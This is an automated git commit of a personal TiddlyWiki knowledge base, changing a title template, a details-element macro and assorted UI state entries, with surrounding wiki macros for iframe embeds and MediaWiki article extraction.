From adf9504b5a9bb6af7fb15bdcd2332ce26fc5393c Mon Sep 17 00:00:00 2001 From: OcttKB-TiddlyWiki-Sync Date: Fri, 17 Feb 2023 23:09:11 +0000 Subject: [PATCH] Saved by TiddlyWiki --- public/index.html | 44 ++++++++++++++++++++++++++------------------ 1 file changed, 26 insertions(+), 18 deletions(-) diff --git a/public/index.html b/public/index.html index f365567..2a0f67f 100644 --- a/public/index.html +++ b/public/index.html @@ -197,7 +197,7 @@ Error message and password prompt {"created":"20220920170048300","text":"\\define tv-wikilink-template() #$uri_encoded$\n\\define tv-config-toolbar-icons() no\n\\define tv-config-toolbar-text() no\n\\define tv-config-toolbar-class() tc-btn-invisible\n\\rules only filteredtranscludeinline transcludeinline\n\u003C!doctype html>\n\u003Chtml>\n\u003Chead>\n\u003Cmeta http-equiv=\"Content-Type\" content=\"text/html;charset=utf-8\" />\n\u003Cmeta name=\"generator\" content=\"TiddlyWiki\" />\n\u003Cmeta name=\"tiddlywiki-version\" content=\"{{$:/core/templates/version}}\" />\n\u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n\u003Cmeta name=\"format-detection\" content=\"telephone=no\">\n\u003Clink id=\"faviconLink\" rel=\"shortcut icon\" href=\"favicon.ico\">\n\u003Ctitle>{{$:/core/wiki/title}}\u003C/title>\n\u003Cdiv id=\"styleArea\">\n{{$:/boot/boot.css||$:/core/templates/css-tiddler}}\n\u003C/div>\n\u003Cstyle type=\"text/css\">\n{{$:/core/ui/PageStylesheet||$:/core/templates/wikified-tiddler}}\n\u003C/style>\n\u003C/head>\n\u003Cbody class=\"tc-body\">\n{{$:/StaticBanner||$:/core/templates/html-tiddler}}\n\u003Csection class=\"tc-story-river tc-static-story-river\">\n{{$:/core/templates/exporters/StaticRiver/Content||$:/core/templates/html-tiddler}}\n\u003C/section>\n\u003C/body>\n\u003C/html>\n","title":"$:/core/templates/exporters/StaticRiver","tags":"$:/tags/Exporter","description":"{{$:/language/Exporters/StaticRiver}}","extension":".html","modified":"20220920170145211"}, {"created":"20220920140954764","text":"\u003C!-- For search engines, and people without JavaScript --->\n \nIf you're reading this, then your browser isn't executing JavaScript code (properly, or at all).\n\nIf you disabled JS on purpose, you may want to read the ''no-JS KB'': [ext[./Static.html]];\n\nIf you, instead, don't know why you're seeing this:\n\n* [[Enable JavaScript|http://web.archive.org/web/20220920042154/https://www.enable-javascript.com]], if you have it disabled;\n* Update your browser, if it's years out-of-date.\n\n\u003C!--\n\u003Cbr>\u003Chr>\u003Cbr>\n\n//The following is a preview of the Welcome Page.//\n\n{{~Welcome~}}\n--->\n\n\u003C!-- Old template\nThis [[TiddlyWiki|https://tiddlywiki.com]] contains the following tiddlers:\n\n\u003Cul>\n\u003C$list filter=\u003C\u003CsaveTiddlerFilter>>>\n\u003Cli>\u003C$view field=\"title\" format=\"text\">\u003C/$view>\u003C/li>\n\u003C/$list>\n\u003C/ul>\n--->","title":"$:/core/templates/static.content","modified":"20220924193531494"}, {"created":"20230129121307345","creator":"Octt","text":"\\whitespace trim\n\n\u003C!-- Edited from original to put our breadcrumbs -->\n\n\\import $:/Macros/Breadcrumbs/Main\n\n\\define title-styles()\nfill:$(foregroundColor)$;\n\\end\n\u003Cdiv class=\"tc-tiddler-title\">\n\u003Cdiv class=\"tc-titlebar\">\n\u003C\u003CMakeViewBreadcrumbs>>\n\u003Cspan class=\"tc-tiddler-controls\">\n\u003C$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ViewToolbar]!has[draft.of]] :filter[lookup[$:/config/ViewToolbarButtons/Visibility/]!match[hide]]\" storyview=\"pop\" variable=\"listItem\">\u003C$set name=\"tv-config-toolbar-class\" filter=\"[\u003Ctv-config-toolbar-class>] [\u003ClistItem>encodeuricomponent[]addprefix[tc-btn-]]\">\u003C$transclude tiddler=\u003C\u003ClistItem>>/>\u003C/$set>\u003C/$list>\n\u003C/span>\n\u003C$set name=\"tv-wikilinks\" value={{$:/config/Tiddlers/TitleLinks}}>\n\u003C$link>\n\u003C$list filter=\"[\u003CcurrentTiddler>] :cascade[all[shadows+tiddlers]tag[$:/tags/TiddlerIconFilter]!is[draft]get[text]] +[!is[blank]]\" variable=\"ignore\">\n\u003C$let foregroundColor={{{ [\u003CcurrentTiddler>] :cascade[all[shadows+tiddlers]tag[$:/tags/TiddlerColourFilter]!is[draft]get[text]] }}}>\n\u003Cspan class=\"tc-tiddler-title-icon\" style=\u003C\u003Ctitle-styles>>>\n{{||$:/core/ui/TiddlerIcon}}\n\u003C/span>\n\u003C/$let>\n\u003C/$list>\n\u003C$transclude tiddler={{{ [\u003CcurrentTiddler>] :cascade[all[shadows+tiddlers]tag[$:/tags/ViewTemplateTitleFilter]!is[draft]get[text]] :and[!is[blank]else[$:/core/ui/ViewTemplate/title/default]] }}} />\n\u003C/$link>\n\u003C/$set>\n\u003C/div>\n\n\u003C$reveal type=\"nomatch\" text=\"\" default=\"\" state=\u003C\u003CtiddlerInfoState>> class=\"tc-tiddler-info tc-popup-handle\" animate=\"yes\" retain=\"yes\">\n\n\u003C$list filter=\"[all[shadows+tiddlers]tag[$:/tags/TiddlerInfoSegment]!has[draft.of]] [[$:/core/ui/TiddlerInfo]]\" variable=\"listItem\">\u003C$transclude tiddler=\u003C\u003ClistItem>> mode=\"block\"/>\u003C/$list>\n\n\u003C/$reveal>\n\u003C/div>\n","title":"$:/core/ui/ViewTemplate/title","tags":"$:/tags/ViewTemplate","modified":"20230216210821484","modifier":"Octt"}, -{"created":"20230129122910743","creator":"Octt","text":"\\whitespace trim\n\u003C!--\n\u003Ch2 class=\"tc-title\">\n\u003C$view field=\"title\"/>\n\u003C/h2>\n-->","title":"$:/core/ui/ViewTemplate/title/default","modified":"20230216210841338","modifier":"Octt"}, +{"created":"20230129122910743","creator":"Octt","text":"\\whitespace trim\n\u003Ch2 class=\"tc-title\">\n\u003C$view field=\"title\"/>\n\u003C/h2>","title":"$:/core/ui/ViewTemplate/title/default","modified":"20230217224817401","modifier":"Octt"}, {"created":"20220920084655144","title":"$:/DefaultTiddlers","text":"[[~Welcome~]]\n[list[$:/StoryList]]","modified":"20230113094041121"}, {"created":"20220920142651849","title":"$:/GitLab/Branch","text":"main","modified":"20220920142652313"}, {"created":"20220920092034075","title":"$:/GitLab/Filename","text":"index.html","modified":"20220920142819555"}, @@ -222,7 +222,7 @@ Error message and password prompt {"created":"20230111212908327","creator":"Octt","text":"\\whitespace trim\n\n\\define iFrame100Style()\nMargin: 0px;\nPadding: 0px;\nWidth: 100vw;\nHeight: 100vh;\n\\end\n\n\\define EmbedFromLine(Link)\n\u003Cp class=\"Embed-From EmbedFrom\">Embed of [[$Link$]]\u003C/p>\n\\end\n\n\\define iFrame(Src, Class:\"iFrameNormal\", Attrs)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Cinput class=\"NoSelect Checkbox-Btn Embed-Fullscreen-Btn\" type=\"checkbox\" label=\"Fullscreen\"/>\n\u003Clabel class=\"NoSelect Checkbox-Btn Embed-Fullscreen-Btn\">Fullscreen\u003C/label>\n\u003Ciframe class=\"$Class$\" frameborder=\"0\" $Attrs$ src=\"$Src$\">\u003C/iframe>\n\\end\n\n\\define iFrameFixed(Src, Class:\"iFrameNormal\", Attrs) \u003C\u003CiFrame \"$Src$\" \"$Class$\" 'scrolling=\"no\" $Attrs$'>>\n\n\\define iFrameBypassFixed(Src, Class:\"iFrameNormal\", Attrs) \u003C\u003CiFrameBypass \"$Src$\" \"$Class$\" 'scrolling=\"no\" $Attrs$'>>\n\\define iFrameFixedBypass(Src, Class:\"iFrameNormal\", Attrs) \u003C\u003CiFrameBypass \"$Src$\" \"$Class$\" 'scrolling=\"no\" $Attrs$'>>\n\n\\define iFrameBypass(Src, Class:\"iFrameNormal\", Attrs)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Ciframe class=\"$Class$\" frameborder=\"0\" $Attrs$ src='\ndata:text/html;utf8,\n\u003C!DOCTYPE html>\n\u003C!-- Code from X-Frame-Bypass: \u003Chttps://github.com/niutech/x-frame-bypass> --->\n\u003Chtml>\n\u003Chead>\n \u003Cstyle>\n html, body { overflow: hidden; }\n html, body, iframe { margin: 0px; padding: 0px; width: 100%; height: 100%; border: none; }\n \u003C/style>\n \u003Cscript src=\"https://octospacc.gitlab.io/pastebin/custom-elements-builtin.0.6.5.min.js\">\u003C/script>\n \u003Cscript src=\"https://octospacc.gitlab.io/pastebin/x-frame-bypass.js\" type=\"module\">\u003C/script>\n\u003C/head>\n\u003Cbody>\u003Ciframe frameborder=\"0\" is=\"x-frame-bypass\" src=\"$Src$\">\u003C/iframe>\u003C/body>\n\u003C/html>\n'>\u003C/iframe>\n\\end\n\n\\define iFrame100(Src)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Ciframe style=\u003C\u003CiFrame100Style>> frameborder=\"0\" src=\"$Src$\">\u003C/iframe>\n\\end\n\n\\define iFrame100NoScroll(Src)\n\u003C\u003CEmbedFromLine \"$Src$\">>\n\u003Ciframe style=\u003C\u003CiFrame100Style>> frameborder=\"0\" src=\"$Src$\" scrolling=\"no\">\u003C/iframe>\n\\end\n\n\\define iFrame100UriDirect(Src)\n\u003Ciframe style=\u003C\u003CiFrame100Style>> frameborder=\"0\" src=$Src$>\u003C/iframe>\n\\end\n\n\\define iFrame100Tid(Tid)\n\u003C\u003CEmbedFromLine \"$Tid$\">>\n\u003C\u003CiFrame100UriDirect \"\"\"\u003C\u003Cb64TidUriEnc \"$Tid$\">>\"\"\">>\n\\end\n","tags":"$:/tags/Macro","title":"$:/Macros/Frames","modified":"20230216193244742","modifier":"Octt"}, {"created":"20220926113710012","text":"\\define i18n-target()\n\u003C$list filter=\"[[$(currentTiddler)$]tags[]prefix[i18n:]split[:]last[]]\">\n\t\u003Cspan style=\"Padding:8px;\">\n\t\t\u003C\u003CcurrentTiddler>>\n\t\u003C/span>\n\u003C/$list>\n\\end\n\n\\define i18n()\n\u003Cstyle>\n\t/* Rainbow gradient from https://stackoverflow.com/a/63302468 */\n\t.LanguageBox {\n\t\tBorder: Solid Black 1px;\n\t\tPadding: 4px;\n\t\tBackground: Linear-Gradient(\n\t\t\t90deg,\n\t\t\tRGBA(255, 0, 0, 1) 0%,\n\t\t\tRGBA(255, 154, 0, 1) 10%,\n\t\t\tRGBA(208, 222, 33, 1) 20%,\n\t\t\tRGBA(79, 220, 74, 1) 30%,\n\t\t\tRGBA(63, 218, 216, 1) 40%,\n\t\t\tRGBA(47, 201, 226, 1) 50%,\n\t\t\tRGBA(28, 127, 238, 1) 60%,\n\t\t\tRGBA(95, 21, 242, 1) 70%,\n\t\t\tRGBA(186, 12, 248, 1) 80%,\n\t\t\tRGBA(251, 7, 217, 1) 90%,\n\t\t\tRGBA(255, 0, 0, 1) 100%\n\t\t);\n\t}\n\t.LanguageBox > Div {\n\t\tBorder: Solid Black 1px;\n\t\tPadding: 4px;\n\t\tFont-Size: Larger;\n\t\tText-Align: Center;\n\t\tBackground: White;\n\t}\n\u003C/style>\n\u003Cdiv class=\"LanguageBox\">\u003Cdiv>\n\t\u003C$vars id={{!!i18n}}>\n\t\t\u003C$list filter=\"[!is[system]contains:i18n\u003Cid>]\">\n\t\t\t\u003C$link>\n\t\t\t\t\u003C$macrocall $name=\"i18n-target\"/>\n\t\t\t\u003C/$link>\n\t\t\u003C/$list>\n\t\u003C/$vars>\n\u003C/div>\u003C/div>\n\\end","tags":"$:/tags/Macro","title":"$:/Macros/i18n","modified":"20230108195259126"}, {"created":"20220922135257709","text":"\u003C!-- The following code is almost totally derived from [[$:/core/macros/tabs]] --->\n\n\\define ltabs-button()\n\\whitespace trim\n\u003C$button set=\u003C\u003CltabsState>> setTo=\u003C\u003CcurrentTab>> default=\u003C\u003C__default__>> selectedClass=\"tc-tab-selected\" tooltip={{!!tooltip}} role=\"switch\">\n\t\u003Cspan> [[#|$(currentTab)$]] \u003C/span>\n\t\u003C$tiddler tiddler=\u003C\u003Csave-currentTiddler>>>\n\t\t\u003C$set name=\"tv-wikilinks\" value=\"no\">\n\t\t\t\u003C$transclude tiddler=\u003C\u003C__buttonTemplate__>> mode=\"inline\">\n\t\t\t\t\u003C$transclude tiddler=\u003C\u003CcurrentTab>> field=\"caption\">\n\t\t\t\t\t\u003C$macrocall $name=\"currentTab\" $type=\"text/plain\" $output=\"text/plain\"/>\n\t\t\t\t\u003C/$transclude>\n\t\t\t\u003C/$transclude>\n\t\t\u003C/$set>\n\t\u003C/$tiddler>\n\t\u003C\u003C__actions__>>\n\u003C/$button>\n\\end\n\n\\define ltabs-tab()\n\\whitespace trim\n\u003C$set name=\"save-currentTiddler\" value=\u003C\u003CcurrentTiddler>>>\n\t\u003C$tiddler tiddler=\u003C\u003CcurrentTab>>>\n\t\t\u003C\u003Cltabs-button>>\n\t\u003C/$tiddler>\n\u003C/$set>\n\\end\n\n\\define ltabs-tab-list()\n\\whitespace trim\n\u003C$list filter=\u003C\u003C__ltabsList__>> variable=\"currentTab\" storyview=\"pop\">\n\t\u003C\u003Cltabs-tab>>\n\u003C/$list>\n\\end\n\n\\define ltabs-tab-body()\n\\whitespace trim\n\u003C$list filter=\u003C\u003C__ltabsList__>> variable=\"currentTab\">\n\t\u003C$reveal type=\"match\" state=\u003C\u003CltabsState>> text=\u003C\u003CcurrentTab>> default=\u003C\u003C__default__>> retain=\u003C\u003C__retain__>> tag=\"div\">\n\t\t\u003C$transclude tiddler=\u003C\u003C__template__>> mode=\"block\">\n\t\t\t\u003C$tiddler tiddler=\u003C\u003CcurrentTab>>>\n\t\t\t\t\u003C$transclude mode=\"block\" />\n\t\t\t\u003C/$tiddler>\n\t\t\u003C/$transclude>\n\t\u003C/$reveal>\n\u003C/$list>\n\\end\n\n\\define ltabs(ltabsList,default,state:\"$:/state/tab\",class,template,buttonTemplate,retain,actions,explicitState)\n\\whitespace trim\n\u003C$qualify title=\u003C\u003C__state__>> name=\"qualifiedState\">\n\t\u003C$let ltabsState={{{ [\u003C__explicitState__>minlength[1]] ~[\u003CqualifiedState>] }}}>\n\t\t\u003Cdiv class={{{ [[tc-tab-set]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\u003Cdiv class={{{ [[tc-tab-buttons]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\t\u003C\u003Cltabs-tab-list>>\n\t\t\t\u003C/div>\n\t\t\t\u003Cdiv class={{{ [[tc-tab-divider]addsuffix[ ]addsuffix\u003C__class__>] }}}/>\n\t\t\t\u003Cdiv class={{{ [[tc-tab-content]addsuffix[ ]addsuffix\u003C__class__>] }}}>\n\t\t\t\t\u003C\u003Cltabs-tab-body>>\n\t\t\t\u003C/div>\n\t\t\u003C/div>\n\t\u003C/$let>\n\u003C/$qualify>\n\\end\n","tags":"$:/tags/Macro","title":"$:/Macros/ltabs","modified":"20220925154754580"}, -{"created":"20220920092322164","creator":"Octt","text":"\\whitespace trim\n\n\\define [(Text, L:\"[\", R:\"]\") \u003Cspan>\u003Cspan>$L$\u003C/span>\u003Cspan>$Text$\u003C/span>\u003Cspan>$R$\u003C/span>\u003C/span>\n\n\u003C!-- Transclude with clickable link --->\n\\define #:(Name)\n\u003Cstyle>\n.Transcluding > h1,\n.Transcluding > h2,\n.Transcluding > h3,\n.Transcluding > h4,\n.Transcluding > h5,\n.Transcluding > h6 {\nDisplay: Inline;\n}\n\u003C/style>\n\u003Cdiv class=\"Transcluding\">\n[[#|$Name$]]\n{{$Name$}}\n\u003C/div>\n\\end\n\n\u003C!-- Transclude with tobibeer/inc macro inside an HTML \u003Cdetails> element -->\n\\define {\u003C(Tiddler, Heading:\"0\")\n\u003Cdetails>\n \u003Csummary>\n \u003Ch$Heading$ style=\"display: inline;\">\n ''$Tiddler$''\n \u003C/h$Heading$>\n \u003C/summary>\n \u003C\u003C{ \"$Tiddler$\">>\n\u003C/details>\n\\end\n\n\u003C!-- Link to currentTiddler --->\n\\define lself() [[$(currentTiddler)$]]\n\\define #lself() [[#|$(currentTiddler)$]]\n\n\u003C!-- Field Checkbox --->\n\\define x#(Field Text)\n\u003C$checkbox field=\"$Field$\" checked=\"true\" unchecked=\"false\" default=\"false\"> $Text$\u003C/$checkbox>\n\\end\n\n\\define Table(Rows) \u003Ctable class=\"Octt-Table\" style=\"Width:100%;\">\u003Cstyle>.Octt-Table tr:nth-child(odd){background-color:#EEEEEE;}\u003C/style>$Rows$\u003C/table>\n\n\\define ColorText(Text Foreground)\n\u003Cspan style=\"Color:$Foreground$;\">$Text$\u003C/span>\n\\end\n\n\\define ColorSpan(Text Background)\n\u003Cspan style=\"Color:#FFFFFF; Background-Color:$Background$;\">$Text$\u003C/span>\n\\end\n\n\\define LImg(Src Href Alt)\n\u003Ca rel=\"noopener noreferrer\" target=\"_blank\" href=\"$Href$\">\u003Cimg src=\"$Src$\" alt=\"$Alt$\">\u003C/a>\n\\end\n\n\\define StrAppend(Str Suffix Prefix) $Prefix$$Str$$Suffix$\n","tags":"$:/tags/Macro","title":"$:/Macros/Main","modified":"20230215210500952","modifier":"Octt"}, +{"created":"20220920092322164","creator":"Octt","text":"\\whitespace trim\n\n\\define [(Text, L:\"[\", R:\"]\") \u003Cspan>\u003Cspan>$L$\u003C/span>\u003Cspan>$Text$\u003C/span>\u003Cspan>$R$\u003C/span>\u003C/span>\n\n\u003C!-- Transclude with clickable link --->\n\\define #:(Name)\n\u003Cstyle>\n.Transcluding > h1,\n.Transcluding > h2,\n.Transcluding > h3,\n.Transcluding > h4,\n.Transcluding > h5,\n.Transcluding > h6 {\nDisplay: Inline;\n}\n\u003C/style>\n\u003Cdiv class=\"Transcluding\">\n[[#|$Name$]]\n{{$Name$}}\n\u003C/div>\n\\end\n\n\u003C!-- Transclude with tobibeer/inc macro inside an HTML \u003Cdetails> element -->\n\\define {\u003C(Tiddler, Heading:\"0\")\n\u003Cdetails class=\"tw-details\">\n \u003Csummary>\n \u003Ch$Heading$ style=\"display: inline;\">\n ''$Tiddler$''\n \u003C/h$Heading$>\n \u003C/summary>\n \u003C\u003C{ \"$Tiddler$\">>\n\u003C/details>\n\\end\n\\define {^(Tiddler, Heading) \u003C\u003C{\u003C \"$Tiddler$\" \"$Heading$\">>\n\n\u003C!-- Link to currentTiddler --->\n\\define lself() [[$(currentTiddler)$]]\n\\define #lself() [[#|$(currentTiddler)$]]\n\n\u003C!-- Field Checkbox --->\n\\define x#(Field Text)\n\u003C$checkbox field=\"$Field$\" checked=\"true\" unchecked=\"false\" default=\"false\"> $Text$\u003C/$checkbox>\n\\end\n\n\\define Table(Rows) \u003Ctable class=\"Octt-Table\" style=\"Width:100%;\">\u003Cstyle>.Octt-Table tr:nth-child(odd){background-color:#EEEEEE;}\u003C/style>$Rows$\u003C/table>\n\n\\define ColorText(Text Foreground)\n\u003Cspan style=\"Color:$Foreground$;\">$Text$\u003C/span>\n\\end\n\n\\define ColorSpan(Text Background)\n\u003Cspan style=\"Color:#FFFFFF; Background-Color:$Background$;\">$Text$\u003C/span>\n\\end\n\n\\define LImg(Src Href Alt)\n\u003Ca rel=\"noopener noreferrer\" target=\"_blank\" href=\"$Href$\">\u003Cimg src=\"$Src$\" alt=\"$Alt$\">\u003C/a>\n\\end\n\n\\define StrAppend(Str Suffix Prefix) $Prefix$$Str$$Suffix$\n","tags":"$:/tags/Macro","title":"$:/Macros/Main","modified":"20230217224303841","modifier":"Octt"}, {"created":"20230108190340455","creator":"Octt","text":"/*\\\nSee [[$:/Macros/MediaWiki]] for usage of this macro.\nNote: source must always be credited, and thus it's not ideal to use this macro directly. Please use the \u003C\u003CMediaWiki>> wrapper macro instead, as it provides a link to the source automatically. (This feature is implemented in its own non-JS macro to make at least the URL show on static wiki exports.)\n\\*/\n\n(function(){\n\"use strict\";\nexports.name = \"MediaWikiEmbedInternal\";\nexports.params = [\n {name: \"Article\"},\n {name: \"Domain\"},\n {name: \"Sections\"},\n];\n\nexports.run = function(Article, Domain, Sections) {\ntry {\n let Text;\n Sections = parseInt(Sections) || 0;\n Domain = $OcttKB.MediaWiki.MkDomain(Domain);\n const Req = new XMLHttpRequest();\n Req.open('GET', Domain + '/w/api.php?action=query&formatversion=2&prop=extracts&format=json&origin=*&titles=' + Article, false);\n Req.send();\n Text = JSON.parse(Req.responseText).query.pages[0].extract;\n if (!Text) {\n Text = '\u003Cp>An error occurred while trying to extract the content. Close and reopen this \u003Ci>tiddler\u003C/i> to retry, or click the link to open the source in a new tab.\u003C/p>'\n };\n Text = Text.replaceAllTxt('\\n', '').replaceAllTxt('\u003Cp class=\"mw-empty-elt\">\u003C/p>', '');\n if (Sections != 0) {\n for (let i=1; i\u003C=6; i++) {\n Text = Text.replaceAllTxt(`\u003C/p>\u003Ch${i}>`, `\u003C/p>\u003C!--:PARAGRAPH:--->\\n\u003Ch${i}>`);\n };\n Text = Text.replaceAllTxt(`\u003C/p>\u003Cp>`, `\u003C/p>\u003C!--:PARAGRAPH:--->\u003Cp>`);\n //Text = Text.split('\u003C!--:PARAGRAPH:--->').slice(0, Max+1).join('');\n //Text = Text.split('\u003Cp>').slice(0, Max+1).join('\u003Cp>');\n if (Sections \u003C 0) {\n Sections = 0;\n };\n Text = Text.split('\u003C!--:PARAGRAPH:--->').slice(0, Sections).join('');\n //Text += '\u003Cp>[...]\u003C/p>'\n };\n/*\n Sections = Sections.split(' ');\n for (let i=0; i\u003CSections.length; i++) {\n const Sec = Sections[i];\n if (Sec) {\n const Ind = Sec.toLowerCase()[0];\n const Val = Sec.substring(1);\n if (Ind == 'p' || Ind == 's') {\n if (Ind == 'p') {\n const Sep = '\u003C!--:PARAGRAPH:--->';\n } else \n if (Ind == 's') {\n const Sep = '\u003C!--:SECTION:--->';\n };\n Text = Text.split(Sep).slice(0, Val).join('');\n } else\n if (Ind == '#') {\n \n };\n };\n };\n*/\n return Text;\n} catch(e) {\n return $OcttKB.ErrAtLine(e);\n};\n}})();","tags":"","title":"$:/Macros/MediaWiki/EmbedInternal.js","modified":"20230124213837502","type":"application/javascript","module-type":"macro","modifier":"Octt"}, {"created":"20230112154435120","creator":"Octt","text":"/*\\\nGet the cover image from a MediaWiki article.\n[\u003C\u003C]MediaWikiGetCover \"Article\" \"Full Domain OR Wikipedia Subdomain\" \"Manual URL OR NULL\"[>>]\n\\*/\n\n(function(){\n\"use strict\";\nexports.name = \"MediaWikiGetCover\";\nexports.params = [\n {name: \"Article\"},\n {name: \"Domain\"},\n {name: \"URL\"},\n];\n\nexports.run = function(Article, Domain, URL) {\ntry {\n if (!URL || URL && !$OcttKB.Options.Nulls.includes(URL.toLowerCase())) {\n let File;\n Domain = $OcttKB.MediaWiki.MkDomain(Domain);\n const Req = new XMLHttpRequest();\n Req.open('GET', Domain + '/w/api.php?action=query&prop=pageimages&format=json&piprop=original&origin=*&titles=' + Article, false);\n Req.send();\n File = Object.values(JSON.parse(Req.responseText).query.pages)[0];\n if (File && File.original && File.original.source) {\n return `\u003Cimg src=\"${File.original.source}\">`;\n };\n };\n return '';\n} catch(e) {\n return $OcttKB.ErrAtLine(e);\n};\n}})();","tags":"","title":"$:/Macros/MediaWiki/GetCover.js","modified":"20230124213845342","type":"application/javascript","module-type":"macro","modifier":"Octt"}, {"created":"20230110102736164","creator":"Octt","text":"\u003C!--\n[\u003C\u003C]MediaWiki[>>]\n| Embed sections of an article from a MediaWiki server.\n| [\u003C\u003C]MediaWiki \"Article\" \"Full Domain OR Wikipedia Subdomain\" \"Section Filtering\" \"Cover Media\"[>>]\n--->\n\n\\define MediaWiki(Article Domain Sections Cover)\n\u003Cdiv class=\"MediaWikiEmbed MediaWikiEmbedBlock\">\n\u003Cdiv class=\"EmbedFrom MediaWikiEmbedFrom\">\n From \u003C$set name=\"FullDomain\" filter=\"[[$Domain$]regexp[\\.]then[$Domain$]else[$Domain$.Wikipedia.org]]\">\n \u003C$macrocall $name=\"ExtMediaWikiAnchor\" Article=\"$Article$\" Domain=\u003C\u003CFullDomain>>/>\n \u003C/$set>\n\u003C/div>\n\u003Cdiv class=\"MediaWikiEmbedCover\">\n \u003C\u003CMediaWikiGetCover \"$Article$\" \"$Domain$\" \"$Cover$\">>\n\u003C/div>\n\u003Cdiv class=\"MediaWikiEmbedContent\">\n \u003C\u003CMediaWikiEmbedInternal \"$Article$\" \"$Domain$\" \"$Sections$\">>\n\u003C/div>\n\u003C/div>\n\\end\n\n\\define ExtMediaWikiAnchor(Article, Domain) [[$Domain$/$Article$|https://$Domain$/wiki/$Article$]]\n\n\\define WikipediaLink(Article, Subdomain) [[$Article$|https://$Subdomain$.wikipedia.org/wiki/$Article$]]\n\\define WikipediaLink-(Article, Subdomain) [[$Article$ - Wikipedia|https://$Subdomain$.wikipedia.org/wiki/$Article$]]\n\n\u003C!--\n\u003Ca href={{{[[$Article$]search-replace:g[ ],[_]prepend[https://$Subdomain$.wikipedia.org/]]}}}>$Article$\u003C/a>\n-->\n\n\\define WikipediaFrame(Article, Subdomain:\"en\")\n\u003C\u003CiFrame \"https://$Subdomain$.m.wikipedia.org/wiki/$Article$\">>\n\\end\n\\define wikipediaframe(Article, Subdomain) \u003C\u003CWikipediaFrame \"$Article$\" \"$Subdomain$\">>\n\n\\define ^WikipediaFrame(Article, Subdomain, Title:\"Wikipedia\")\n\u003C$details summary=\"$Title$\">\n\u003C\u003CWikipediaFrame \"$Article$\" \"$Subdomain$\">>\n\u003C/$details>\n\\end\n\\define ^wikipediaframe(Article, Subdomain, Title) \u003C\u003C^WikipediaFrame \"$Article$\" \"$Subdomain$\" \"$Title$\">>\n","tags":"$:/tags/Macro","title":"$:/Macros/MediaWiki/Main","modified":"20230217074504692","modifier":"Octt"}, @@ -320,7 +320,7 @@ Error message and password prompt {"created":"20221109144756834","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/temp/RemoteAssetInfo/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/plugins/tobibeer/split","text":"yes","modified":"20230116211830913"}, {"created":"20221109162512951","title":"$:/state/add-plugin-info/$:/temp/ServerConnection/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/temp/RemoteAssetInfo/https://tobibeer.github.io/tw5-plugins/library/index.html/$:/plugins/tobibeer/value","text":"no","modified":"20230108200106539"}, {"created":"20221109142817793","creator":"Octt","title":"$:/state/addplugins/tab-1342078386","text":"$:/config/KookmaPluginLibrary","modified":"20230215182517230","modifier":"Octt"}, -{"created":"20230109143853256","creator":"Octt","title":"$:/state/advancedsearch/currentTab","text":"$:/core/ui/AdvancedSearch/Filter","modified":"20230216210937625","modifier":"Octt"}, +{"created":"20230109143853256","creator":"Octt","title":"$:/state/advancedsearch/currentTab","text":"$:/core/ui/AdvancedSearch/Shadows","modified":"20230217224703319","modifier":"Octt"}, {"created":"20230203222356189","creator":"Octt","title":"$:/state/commander/log-tiddler","text":"$:/temp/commander/logs/tid-1","modified":"20230207221707250","modifier":"Octt"}, {"created":"20230117113820190","creator":"Octt","title":"$:/state/commander/reveal/$:/plugins/kookma/commander/search/selection-668442618","text":"open","modified":"20230206203755250","modifier":"Octt"}, {"created":"20230203222519483","creator":"Octt","title":"$:/state/commander/snr/select-tiddler","text":"","modified":"20230209170836660","modifier":"Octt"}, @@ -351,6 +351,8 @@ Error message and password prompt {"created":"20230206112030434","creator":"Octt","title":"$:/state/edit/references-621007424","text":"hide","modified":"20230206112031367","modifier":"Octt"}, {"created":"20230110224547000","title":"$:/state/edit/references-828285479","text":"hide","modified":"20230110224548160"}, {"created":"20220920191756623","title":"$:/state/editpreviewtype","text":"$:/core/ui/EditTemplate/body/preview/output","modified":"20230116141039810"}, +{"created":"20230217221945531","creator":"Octt","title":"$:/state/Excise/-1485273644/macro-title","text":"{","modified":"20230217221946331","modifier":"Octt"}, +{"created":"20230217221941844","creator":"Octt","title":"$:/state/Excise/-1485273644/type","text":"macro","modified":"20230217221941844","modifier":"Octt"}, {"created":"20221108223526572","title":"$:/state/folded/$:/Apps/Dashboard/index.html","text":"hide","modified":"20230109162823352"}, {"created":"20230108200647964","title":"$:/state/folded/$:/ControlPanel","text":"show","modified":"20230108212807728"}, {"created":"20230126102445110","creator":"Octt","title":"$:/state/folded/$:/core/ui/ViewTemplate/title","text":"show","modified":"20230216210920257","modifier":"Octt"}, @@ -415,13 +417,13 @@ Error message and password prompt {"created":"20221108100203119","title":"$:/state/plugin-info-1785259528-$:/plugins/tiddlywiki/codemirror-mode-x-tiddlywiki---1739364784","text":"contents","modified":"20221108100244432"}, {"created":"20220920140149154","title":"$:/state/plugin-info-1958370054-$:/core--2000059281","text":"contents","modified":"20220920140149154"}, {"created":"20230108195707554","title":"$:/state/plugin-info-1998008712-$:/plugins/tiddlywiki/railroad--119403598","text":"readme","modified":"20230108195709210"}, -{"created":"20220920140732083","creator":"Octt","title":"$:/state/showeditpreview","text":"yes","modified":"20230217144227035","modifier":"Octt"}, +{"created":"20220920140732083","creator":"Octt","title":"$:/state/showeditpreview","text":"yes","modified":"20230217210641161","modifier":"Octt"}, {"created":"20220920114858684","title":"$:/state/ShowPaletteEditor","text":"yes","modified":"20220920114858684"}, {"created":"20220920174307633","creator":"Octt","title":"$:/state/sidebar","text":"yes","modified":"20230215210608457","modifier":"Octt"}, {"created":"20220922115715109","title":"$:/state/tab--1091387428","text":"Music Archiving Status/Desired","modified":"20220923072023997"}, {"created":"20230209145707201","creator":"Octt","title":"$:/state/tab--1421386850","text":"$:/core/ui/TiddlerInfo/Tools","modified":"20230209145717889","modifier":"Octt"}, 